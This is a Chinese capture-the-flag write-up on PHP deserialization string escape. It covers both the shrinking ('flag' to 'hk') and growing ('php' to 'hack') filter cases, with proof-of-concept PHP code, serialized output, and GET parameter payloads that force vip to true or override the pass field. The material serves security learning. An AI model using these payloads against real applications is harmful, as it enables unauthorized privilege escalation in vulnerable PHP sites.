php反序列化 字符串逃逸 橙子科技靶场

 字符串逃逸————减少

这题主要是利用hk会替代flag，导致字符串逃逸，并且只能传入user和pass的值，关键在于要将vip改为True

变量的值是从哪到哪由前面的变量长度这一数字决定

这样就可以将vip的反序列化传入，从而定义vip的值

<?php


function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);
    return $name;
}

class test{
    var $user;
    var $pass;
    var $vip = false ;
    function __construct($user,$pass){
        $this->user=$user;
    $this->pass=$pass;
    }
}

$param="flagflagflagflagflagflagflagflagflagflag";
$pass='1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}';

$a=serialize(new test($param,$pass));
echo $a;
//O:4:"test":3:{s:4:"user";s:40:"flagflagflagflagflagflagflagflagflagflag";s:4:"pass";s:42:"1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}";s:3:"vip";b:0;}


$profile=filter($a);
echo $profile;
//{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:42:"1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}";s:3:"vip";b:0;}

 get传参输入

user=flagflagflagflagflagflagflagflagflagflag

pass=1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}

---

字符串逃逸————增多

php替换成hack,属于增多类型，能将后面的命令挤出去

简单来说就是     s:12:"phpphpphp";x"

                           s:12:"hackhackhack";x"

这样就把想定义的pass给挤出去，构造了一个正确的序列化结果

O:4:"test":2:{s:4:"user";s:?:"php.....php";s:4:"pass";s:8:"escaping";}

设有x个php,加粗部分长度为29,共    3*x+29

O:4:"test":2:{s:4:"user";s:?:"hack.....hack";s:4:"pass";s:8:"escaping";}

则共有x个hack,长度为4*x   

4*x=3*x+29

x=29

所以需要29个php,才能把后面的挤出去

param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

代码验证

<?php
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';   
    function __construct($user){
        $this->user=$user;
    }
}                               
$p='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';
                               
$param=serialize(new test($p));                                                    
echo $param;
//O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
$profile=filter($param);
echo $profile;
//O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
?>

get传参 

 查看源代码